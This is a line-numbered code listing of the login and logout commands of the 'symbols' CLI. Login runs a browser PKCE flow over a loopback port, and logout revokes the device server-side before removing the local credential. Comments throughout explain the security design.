import { save, load, deviceLabel, credentialsPath } from "../auth/credentials.js";
|
|
36
|
+
import { eprint } from "../util/log.js";
|
|
37
|
+
export async function run(argv) {
|
|
38
|
+
const force = argv.includes("--force");
|
|
39
|
+
const existing = await load();
|
|
40
|
+
if (existing && !force) {
|
|
41
|
+
eprint(`Already signed in as ${existing.email ?? existing.userId} on ${existing.origin}.\n` +
|
|
42
|
+
`Run \`symbols login --force\` to replace this device's credential.\n`);
|
|
43
|
+
return 0;
|
|
44
|
+
}
|
|
45
|
+
const origin = apiOrigin();
|
|
46
|
+
// Step 1 — the port, before anything else.
|
|
47
|
+
const loopback = await startLoopback();
|
|
48
|
+
// Step 2 — the verifier stays here.
|
|
49
|
+
const pkce = createPkce();
|
|
50
|
+
const authorize = new URL(`${origin}/desktop-auth`);
|
|
51
|
+
authorize.searchParams.set("mode", "cli");
|
|
52
|
+
authorize.searchParams.set("redirect_uri", loopback.redirectUri);
|
|
53
|
+
authorize.searchParams.set("nonce", loopback.nonce);
|
|
54
|
+
authorize.searchParams.set("code_challenge", pkce.challenge);
|
|
55
|
+
authorize.searchParams.set("code_challenge_method", pkce.method);
|
|
56
|
+
// ⚠ The DEVICE ID IS ASSIGNED BY THE SERVER, in `token`. An earlier draft
|
|
57
|
+
// generated one here and sent it in the exchange body, where it was silently
|
|
58
|
+
// ignored — the client would then have stored an id that named no row, and
|
|
59
|
+
// `symbols logout` would have revoked nothing. The client sends only
|
|
60
|
+
// descriptive fields; identity comes back from the server.
|
|
61
|
+
authorize.searchParams.set("device_name", deviceLabel());
|
|
62
|
+
authorize.searchParams.set("device_platform", platform());
|
|
63
|
+
authorize.searchParams.set("client_version", CLI_VERSION);
|
|
64
|
+
eprint(`Opening your browser to sign in…\n\n ${authorize.toString()}\n\n`);
|
|
65
|
+
openBrowser(authorize.toString());
|
|
66
|
+
let code;
|
|
67
|
+
try {
|
|
68
|
+
// Step 4 — waits up to five minutes, then rejects.
|
|
69
|
+
({ code } = await loopback.received);
|
|
70
|
+
}
|
|
71
|
+
catch (err) {
|
|
72
|
+
loopback.close();
|
|
73
|
+
eprint(`Sign-in did not complete: ${err.message}\n`);
|
|
74
|
+
return 1;
|
|
75
|
+
}
|
|
76
|
+
finally {
|
|
77
|
+
loopback.close();
|
|
78
|
+
}
|
|
79
|
+
// Step 5 — the code is single-use and 60-second lived; the verifier proves this
|
|
80
|
+
// is the same process that started the flow.
|
|
81
|
+
// ⚠ WRITE-AHEAD, from the very first credential. WE generate the refresh
|
|
82
|
+
// token; the server only ever stores its hash and never hands one back. An
|
|
83
|
+
// endpoint that returns a credential is an endpoint an attacker can ask for
|
|
84
|
+
// one, and that is precisely how an earlier `refresh` became a session
|
|
85
|
+
// takeover. The device id is not known until the response, so the token is
|
|
86
|
+
// finalised with it below — the pre-write happens on the credential itself.
|
|
87
|
+
const secret = randomBytes(32).toString("base64url");
|
|
88
|
+
const { body } = await requestAnonymous("/api/auth/cli/token", {
|
|
89
|
+
method: "POST",
|
|
90
|
+
body: tokenBody({
|
|
91
|
+
code,
|
|
92
|
+
verifier: pkce.verifier,
|
|
93
|
+
deviceName: deviceLabel(),
|
|
94
|
+
devicePlatform: platform(),
|
|
95
|
+
clientVersion: CLI_VERSION,
|
|
96
|
+
nextTokenHash: createHash("sha256").update(secret).digest("hex"),
|
|
97
|
+
}),
|
|
98
|
+
});
|
|
99
|
+
const cred = {
|
|
100
|
+
refreshToken: secret,
|
|
101
|
+
deviceId: body.device_id,
|
|
102
|
+
origin,
|
|
103
|
+
userId: body.user_id,
|
|
104
|
+
...(body.email ? { email: body.email } : {}),
|
|
105
|
+
createdAt: new Date().toISOString(),
|
|
106
|
+
};
|
|
107
|
+
const where = await save(cred);
|
|
108
|
+
eprint(`\nSigned in as ${cred.email ?? cred.userId}.\n` +
|
|
109
|
+
`Device: ${deviceLabel()}\n` +
|
|
110
|
+
`Credential stored in ${where === "keychain" ? "the macOS keychain" : `${credentialsPath()} (0600)`}.\n\n` +
|
|
111
|
+
`Next: \`symbols up\` to create your workspace.\n`);
|
|
112
|
+
return 0;
|
|
113
|
+
}
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
// Copyright (c) 2025 Symbols LLC. All rights reserved.
|
|
2
|
+
//
|
|
3
|
+
// This source code is proprietary and confidential. Unauthorized copying,
|
|
4
|
+
// distribution, modification, or use of this file, via any medium, is strictly prohibited.
|
|
5
|
+
// `symbols logout` — revoke this device server-side, then drop the local copy.
|
|
6
|
+
//
|
|
7
|
+
// ⚠ ORDER MATTERS, and it is the opposite of the intuitive one. Revoke on the
|
|
8
|
+
// SERVER FIRST, then clear locally. Clearing first and then failing to reach the
|
|
9
|
+
// server leaves a credential that is still valid for ninety days with nothing
|
|
10
|
+
// left on this machine that knows how to revoke it — the user believes they have
|
|
11
|
+
// logged out and has not.
|
|
12
|
+
//
|
|
13
|
+
// If the server call fails we say so plainly and DO NOT clear, unless `--local`
|
|
14
|
+
// is passed. `--local` exists for the genuine case (lost machine, server
|
|
15
|
+
// unreachable, credential already revoked elsewhere) and is explicit about what
|
|
16
|
+
// it does not do.
|
|
17
|
+
//
|
|
18
|
+
// The honest tail, printed rather than hidden: revocation kills the refresh
|
|
19
|
+
// chain immediately, but an access token already minted stays valid for up to
|
|
20
|
+
// its 15-minute TTL. There is no way around that short of a revocation check on
|
|
21
|
+
// every request, which is a database round trip per call.
|
|
22
|
+
import { load, clear } from "../auth/credentials.js";
|
|
23
|
+
import { requestAnonymous, forgetAccessToken } from "../auth/client.js";
|
|
24
|
+
import { logoutBody } from "../auth/wire.js";
|
|
25
|
+
import { eprint } from "../util/log.js";
|
|
26
|
+
export async function run(argv) {
|
|
27
|
+
const localOnly = argv.includes("--local");
|
|
28
|
+
const cred = await load();
|
|
29
|
+
if (!cred) {
|
|
30
|
+
eprint("Not signed in — nothing to do.\n");
|
|
31
|
+
return 0;
|
|
32
|
+
}
|
|
33
|
+
if (localOnly) {
|
|
34
|
+
await clear();
|
|
35
|
+
forgetAccessToken();
|
|
36
|
+
eprint("Local credential removed. ⚠ It was NOT revoked server-side — this device can\n" +
|
|
37
|
+
"still be signed in from a backup of the credential. Revoke it from the app,\n" +
|
|
38
|
+
"or run `symbols logout` again with the server reachable.\n");
|
|
39
|
+
return 0;
|
|
40
|
+
}
|
|
41
|
+
try {
|
|
42
|
+
// ⚠ The REFRESH TOKEN, not the device id, and ANONYMOUSLY.
|
|
43
|
+
//
|
|
44
|
+
// Two bugs lived in the obvious version, and a staff review caught the
|
|
45
|
+
// first: the server's `logout` takes `RefreshBody { refresh_token }`, so
|
|
46
|
+
// posting `{ device_id }` 422'd on EVERY call — `symbols logout` could never
|
|
47
|
+
// succeed, and the failure path kept the credential, so the user was told
|
|
48
|
+
// logout failed while their device stayed authorised indefinitely. No ledger
|
|
49
|
+
// box covered logout, so nothing would have caught it.
|
|
50
|
+
//
|
|
51
|
+
// The device id is deliberately not the credential here: it is an
|
|
52
|
+
// identifier, not a secret, so accepting it would let anyone who learned a
|
|
53
|
+
// device id sign that laptop out.
|
|
54
|
+
//
|
|
55
|
+
// Anonymous because logout authenticates with the refresh token itself —
|
|
56
|
+
// that is what lets it work without a browser round trip. Going through
|
|
57
|
+
// `request()` would first mint an access token, which ROTATES the refresh
|
|
58
|
+
// token, and would fail outright for the case that most needs logout to
|
|
59
|
+
// work: a device whose refresh chain is already broken.
|
|
60
|
+
await requestAnonymous("/api/auth/cli/logout", {
|
|
61
|
+
method: "POST",
|
|
62
|
+
body: logoutBody(cred),
|
|
63
|
+
});
|
|
64
|
+
}
|
|
65
|
+
catch (err) {
|
|
66
|
+
eprint(`Could not revoke this device server-side: ${err instanceof Error ? err.message : String(err)}\n` +
|
|
67
|
+
`The local credential was KEPT, because removing it would leave a valid\n` +
|
|
68
|
+
`credential with no way to revoke it from here.\n\n` +
|
|
69
|
+
`Retry when the server is reachable, or run \`symbols logout --local\` if you\n` +
|
|
70
|
+
`accept that this device stays authorised until you revoke it in the app.\n`);
|
|
71
|
+
return 1;
|
|
72
|
+
}
|
|
73
|
+
await clear();
|
|
74
|
+
forgetAccessToken();
|
|
75
|
+
eprint("Signed out. This device is revoked server-side and its credential removed.\n" +
|
|
76
|
+
"An access token minted in the last 15 minutes remains valid until it expires.\n");
|
|
77
|
+
return 0;
|
|
78
|
+
}
|